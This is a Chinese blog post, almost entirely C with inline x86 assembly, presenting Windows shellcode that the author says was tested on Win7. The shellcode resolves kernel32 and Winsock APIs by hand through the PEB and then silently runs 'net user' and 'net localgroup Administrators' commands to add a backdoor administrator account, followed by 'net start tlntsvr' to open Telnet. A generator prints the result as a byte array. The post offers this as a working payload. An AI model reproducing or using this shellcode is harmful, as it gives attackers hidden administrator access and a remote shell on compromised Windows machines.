一次ShellCode尝试【Win7下测试可用】

#include <stdio.h>
#include <conio.h>
#include <windows.h> 
#include <winsock.h>
 
//定义API及DLL名称数组索引顺序,方便调用
#define APISTART 0
#define GETPROCADDRESS (APISTART+0)
#define LOADLIBRARY (APISTART+1)
#define EXITPROCESS (APISTART+2)
#define WINEXEC (APISTART+3)
#define KNLSTART (EXITPROCESS)
#define KNLEND (WINEXEC)
#define NKNLAPI (4)
#define WSOCKSTART (KNLEND+1)
#define SOCKET (WSOCKSTART+0)
#define BIND (WSOCKSTART+1)
#define CONNECT (WSOCKSTART+2)
#define ACCEPT (WSOCKSTART+3)
#define LISTEN (WSOCKSTART+4)
#define SEND (WSOCKSTART+5)
#define RECV (WSOCKSTART+6)
#define CLOSESOCKET (WSOCKSTART+7)
#define WSASTARTUP (WSOCKSTART+8)
#define WSACLEANUP (WSOCKSTART+9)
#define WSOCKEND (WSACLEANUP)
#define NWSOCKAPI (10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0
#define KERNELDLL (DLLSTART+0)
#define WS2_32DLL (DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS 2
#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN (COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD 3
 
void shellCodeFun(void)
{
 DWORD ImageBase,IED,FunNameArray,PE,Count,flen;
 HMODULE DLLS[NDLLS] = {0,0};
 int i;
 char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
 FARPROC API[NAPIS];
 
 //1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址
 __asm
 {
        xor ecx,ecx
        mov esi,fs:0x30
        mov esi, [esi + 0x0C];
  mov esi, [esi + 0x1C];
next_module:
  mov eax, [esi + 0x08];
  mov edi, [esi + 0x20];
  mov esi, [esi];
  cmp [edi + 12*2],cl  
        jne next_module
  //eax中即Kernel32.dll的基址
  mov DLLS[KERNELDLL* type DWORD],eax
  mov ImageBase,eax
  call LGETPROCADDRESS
  _emit 'G'; 
  _emit 'e'; 
  _emit 't'; 
  _emit 'P'; 
  _emit 'r'; 
  _emit 'o'; 
  _emit 'c'; 
  _emit 'A'; 
  _emit 'd'; 
  _emit 'd'; 
  _emit 'r'; 
  _emit 'e'; 
  _emit 's'; 
  _emit 's'; 
  _emit 0x00
LGETPROCADDRESS:
  pop eax
  mov APINAMES[GETPROCADDRESS * 4],eax
  mov FuncName,eax
  mov flen,0x0e
  mov Count,0
  call FindApi
  mov API[GETPROCADDRESS *type FARPROC],eax
  call LOADLIBRARYA
  _emit 'L'; 
  _emit 'o'; 
  _emit 'a'; 
  _emit 'd'; 
  _emit 'L'; 
  _emit 'i'; 
  _emit 'b'; 
  _emit 'r'; 
  _emit 'a'; 
  _emit 'r'; 
  _emit 'y'; 
  _emit 'A'; 
  _emit 0x00
LOADLIBRARYA:
  pop eax
  mov APINAMES[LOADLIBRARY * 4],eax
  mov FuncName,eax
  mov flen,0x0C
  mov Count,0
  call FindApi
  mov API[LOADLIBRARY * type FARPROC],eax
 }
 
 __asm
 {
  //2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样
  call KERNEL32
  _emit 'k';
  _emit 'e';
  _emit 'r';
  _emit 'n';
  _emit 'e';
  _emit 'l';
  _emit '3';
  _emit '2';
  _emit '.'
  _emit 'd'
  _emit 'l'
  _emit 'l'
  _emit 0x00
KERNEL32:
  pop DLLNAMES[KERNELDLL*4]
  call WS2_32
  _emit 'w';
  _emit 's';
  _emit '2';
  _emit '_';
  _emit '3';
  _emit '2';
  _emit '.'
  _emit 'd'
  _emit 'l'
  _emit 'l'
  _emit 0x00
WS2_32:
  pop DLLNAMES[WS2_32DLL * 4]
  //3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样
  call LEXITPROCESS//1
  _emit 'E'; 
  _emit 'x'; 
  _emit 'i'; 
  _emit 't'; 
  _emit 'P'; 
  _emit 'r'; 
  _emit 'o'; 
  _emit 'c'; 
  _emit 'e'; 
  _emit 's'; 
  _emit 's'; 
  _emit 0x00
LEXITPROCESS:
  pop APINAMES[EXITPROCESS * 4]
  call LWINEXEC//2
  _emit 'W'; 
  _emit 'i'; 
  _emit 'n'; 
  _emit 'E'; 
  _emit 'x'; 
  _emit 'e'; 
  _emit 'c'; 
  _emit 0x00
LWINEXEC:
  pop APINAMES[WINEXEC * 4]
  call LSOCKET//3
  _emit 's'; 
  _emit 'o'; 
  _emit 'c'; 
  _emit 'k'; 
  _emit 'e'; 
  _emit 't'; 
  _emit 0x00
LSOCKET:
  pop APINAMES[SOCKET * 4]
  call LBIND//4
  _emit 'b'; 
  _emit 'i'; 
  _emit 'n'; 
  _emit 'd'; 
  _emit 0x00
LBIND:
  pop APINAMES[BIND * 4]
  call LCONNECT
  _emit 'c'; 
  _emit 'o'; 
  _emit 'n'; 
  _emit 'n'; 
  _emit 'e'; 
  _emit 'c'; 
  _emit 't'; 
  _emit 0x00
LCONNECT:
  pop APINAMES[CONNECT * 4]
  call LACCEPT//5
  _emit 'a'; 
  _emit 'c'; 
  _emit 'c'; 
  _emit 'e'; 
  _emit 'p'; 
  _emit 't'; 
  _emit 0x00
LACCEPT:
  pop APINAMES[ACCEPT * 4]
  call LLISTEN//6
  _emit 'l'; 
  _emit 'i'; 
  _emit 's'; 
  _emit 't'; 
  _emit 'e'; 
  _emit 'n'; 
  _emit 0x00
LLISTEN:
  pop APINAMES[LISTEN * 4]
  call LSEND//7
  _emit 's'; 
  _emit 'e'; 
  _emit 'n'; 
  _emit 'd'; 
  _emit 0x00
LSEND:
  pop APINAMES[SEND * 4]
  call LRECV//8
  _emit 'r'; 
  _emit 'e'; 
  _emit 'c'; 
  _emit 'v'; 
  _emit 0x00
LRECV:
  pop APINAMES[RECV * 4]
  call CLOSESOCKETL//9
  _emit 'c'; 
  _emit 'l'; 
  _emit 'o'; 
  _emit 's'; 
  _emit 'e'; 
  _emit 's'; 
  _emit 'o'; 
  _emit 'c'; 
  _emit 'k'; 
  _emit 'e'; 
  _emit 't'; 
  _emit 0x00
CLOSESOCKETL:
  pop APINAMES[CLOSESOCKET * 4]
  call WSASTARTUPL//10
  _emit 'W'; 
  _emit 'S'; 
  _emit 'A'; 
  _emit 'S'; 
  _emit 't'; 
  _emit 'a'; 
  _emit 'r'; 
  _emit 't'; 
  _emit 'u'; 
  _emit 'p'; 
  _emit 0x00
WSASTARTUPL:
  pop APINAMES[WSASTARTUP * 4]
  call WSACLEANUPL//11
  _emit 'W'; 
  _emit 'S'; 
  _emit 'A'; 
  _emit 'C'; 
  _emit 'l'; 
  _emit 'e'; 
  _emit 'a'; 
  _emit 'n'; 
  _emit 'u'; 
  _emit 'p'; 
  _emit 0x00
WSACLEANUPL:
  pop APINAMES[WSACLEANUP * 4]
  nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容
   
  //填写
 }
 
 //3,装载所有需要的DLL
 typedef  HMODULE (CALLBACK *LOADLIB)(LPCSTR );
 LOADLIB loadlib = (LOADLIB)(API[LOADLIBRARY]);
 for(i=DLLSTART;i<=DLLEND;i++)
 {
  if (DLLS[i] != NULL)
   continue;
  DLLS[i]= loadlib(DLLNAMES[i]);
 }
 
 //////////////////////////////////////////////////////////////////////////
 //4,获取所有需要的API
 //4.1取得Windows Kernel API
 typedef FARPROC (CALLBACK *GETPA)(HMODULE, LPCSTR);
 GETPA getpa = (GETPA)API[GETPROCADDRESS];
 for(i=KNLSTART;i<=KNLEND;i++)
 {
  //GetProcAddress(DLLS[KERNELDLL], APINAMES[i]);
  getpa(DLLS[KERNELDLL], APINAMES[i]);
  API[i] = (FARPROC)getpa(DLLS[KERNELDLL],APINAMES[i]);
 }
 //4.2取得Windows Sockets API
 for(i=WSOCKSTART;i<=WSOCKEND;i++)
 {
  API[i] = (FARPROC)getpa(DLLS[WS2_32DLL],APINAMES[i]);
 }
 
 //5,编写ShellCode的功能实体部分
 __asm
 {
  call PUTCOMMAND_ADDUSER
  _emit 'n'
  _emit 'e'
  _emit 't'
  _emit ' '
  _emit 'u'
  _emit 's'
  _emit 'e'
  _emit 'r'
  _emit ' '
  _emit 'y'
  _emit 'a'
  _emit 'o'
  _emit ' '
  _emit 'y'
  _emit 'e'
  _emit 'l'
  _emit 'l'
  _emit 'o'
  _emit 'w'
  _emit ' '
  _emit '/'
  _emit 'a'
  _emit 'd'
  _emit 'd'
  _emit 0x00
 PUTCOMMAND_ADDUSER:
  pop CMD[COMMAND_ADDUSER * 4]
  call PUTCOMMAND_SETUSERADMIN
  _emit 'n'
  _emit 'e'
  _emit 't'
  _emit ' '
  _emit 'l'
  _emit 'o'
  _emit 'c'
  _emit 'a'
  _emit 'l'
  _emit 'g'
  _emit 'r'
  _emit 'o'
  _emit 'u'
  _emit 'p'
  _emit ' '
  _emit 'A'
  _emit 'd'
  _emit 'm'
  _emit 'i'
  _emit 'n'
  _emit 'i'
  _emit 's'
  _emit 't'
  _emit 'r'
  _emit 'a'
  _emit 't'
  _emit 'o'
  _emit 'r'
  _emit 's'
  _emit ' '
  _emit 'y'
  _emit 'e'
  _emit 'l'
  _emit 'l'
  _emit 'o'
  _emit 'w'
  _emit ' '
  _emit '/'
  _emit 'a'
  _emit 'd'
  _emit 'd'
  _emit 0x00
 PUTCOMMAND_SETUSERADMIN:
  pop CMD[COMMAND_SETUSERADMIN*4]
  call PUTCOMMAND_OPENTLNT
  _emit 'n'
  _emit 'e'
  _emit 't'
  _emit ' '
  _emit 's'
  _emit 't'
  _emit 'a'
  _emit 'r'
  _emit 't'
  _emit ' '
  _emit 't'
  _emit 'l'
  _emit 'n'
  _emit 't'
  _emit 's'
  _emit 'v'
  _emit 'r'
  _emit 0x00
 PUTCOMMAND_OPENTLNT:
  pop CMD[COMMAND_OPENTLNT* 4]
 }
 
 //__asm int 3//在Release版本中使用断点
 //6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
 typedef UINT (CALLBACK *WINEC)(LPCSTR, UINT);
 //WINBASEAPI UINT WINAPI WinExec( LPCSTR lpCmdLine, UINT uCmdShow )
 WINEC winec = NULL;
 for(i=COMMAND_START;i<=COMMAND_END;i++)
 {
  winec = (WINEC)API[WINEXEC];
  winec(CMD[i],SW_HIDE);
 }
 
 /*
 我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的
 开发(比如我们可以使用WinSock自己实现一个Telnet服务端).
 */
 typedef VOID (CALLBACK *EXITPRO)(UINT);
 //WINBASEAPI VOID WINAPI ExitProcess( UINT uExitCode )
 EXITPRO exitPro = (EXITPRO)API[EXITPROCESS];
 exitPro(0);//使用ExitProcess来退出ShellCode以减少错误
//*
//   子程序FindApi,由我前面讲解的GetFunctionByName修改得到
//   入口参数:
//   ImageBase:DLL基址
//   FuncName:需要查找的引出函数名
//   flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
//   Count:引出函数地址索引起始,通常应该把它设为0.
//   出口参数:
//   如果查找则成功Eax返回有效的函数地址,否则返回0
 
 __asm
 {
 FindApi:
  mov eax,ImageBase
  add eax,0x3c  //指向PE头部偏移值e_lfanew
  mov eax,[eax]  //取得e_lfanew值
  add eax,ImageBase //指向PE header
  cmp [eax],0x00004550
  jne NotFound  //如果ImageBase句柄有错
  mov PE,eax
  mov eax,[eax+0x78]
  add eax,ImageBase //指向IMAGE_EXPORT_DIRECTORY
  mov [IED],eax
  mov eax,[eax+0x20]
  add eax,ImageBase
  mov FunNameArray,eax//保存函数名称指针数组的指针值
  mov ecx,[IED]
  mov ecx,[ecx+0x14] //根据引出函数个数NumberOfFunctions设置最大查找次数
 FindLoop:
  push ecx   //使用一个小技巧,使用程序循环更简单
  mov eax,[eax]
  add eax,ImageBase
  mov esi,FuncName
  mov edi,eax
  mov ecx,flen  //逐个字符比较,如果相同则为找到函数,注意这里的ecx值
  cld
  rep cmpsb
  jne FindNext  //如果当前函数不是指定的函数则查找下一个
  add esp,4   //如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
  mov ecx, Count
  mov edx, [IED]
  mov ebx,[edx+24h]
  add ebx,ImageBase //indexaddress
  mov cx,[ebx+ecx*2]
  mov ebx,[edx+1ch]
  add ebx,ImageBase //获得函数地址表
  mov eax,[ebx+ecx*4] //根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
  add eax,ImageBase //计算函数真实地址,并通过Eax返回给调用者
  jmp Found
 FindNext:
  inc Count   //记录函数索引
  add [FunNameArray],4//下一个函数名指针
  mov eax,FunNameArray
  pop ecx    //恢复压入的ecx(NumberOfFunctions),进行计数循环
  loop FindLoop  //如果ecx不为0则递减并回到FindLoop,往后查找
 NotFound:
  xor eax,eax//如果没有找到,则返回0
 Found:
  ret
  //ShellCode结束标识符
  _emit '*'
  _emit '*'
 }
 //*/
}


void printsc(unsigned char *sc)
{
 int x=0;
 printf("unsigned char shellcode[]={");
 while(1)
 {
  if ((*sc=='*')&&(*(sc+1)=='*')) break;
  if(!(x++%10)) printf("\n\t");
  printf("0x%0.2X,",*sc++);
 }
 printf("\n};\nTotal %d Bytes\r\n",x+1);
}
//*
int main(void)
{
 unsigned char *p = (unsigned char *)shellCodeFun;
 unsigned int k = 0;
 
 //调用ShellCode
 //shellCodeFun();
 
 if(*p==0xe9)
 {
  k=*(unsigned int*)(++p);
  p = (unsigned char *)((int)p + k);
  p = (unsigned char *)((int)p + 4);
 }
 
 //打印SC
 printsc(p);
 
 getch();
 return 0;
}
//*/

你可能感兴趣的:(ShellCode;ASM;)